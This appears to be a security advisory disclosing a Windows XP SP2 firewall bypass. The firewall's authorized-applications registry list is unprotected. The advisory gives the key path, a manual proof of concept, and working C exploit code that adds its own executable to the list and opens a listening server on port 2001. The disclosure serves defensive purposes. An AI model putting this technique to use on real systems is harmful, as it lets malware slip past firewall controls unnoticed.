Summary
Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Credit:
The information has been provided by Mark Kica.
The original article can be found at: http://taekwondo-itf.szm.sk/bugg.zip

Details
Vulnerable Systems:
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept:
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Exploit:
#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");

sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;

for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}

ezsocket_exit();
return 0;
}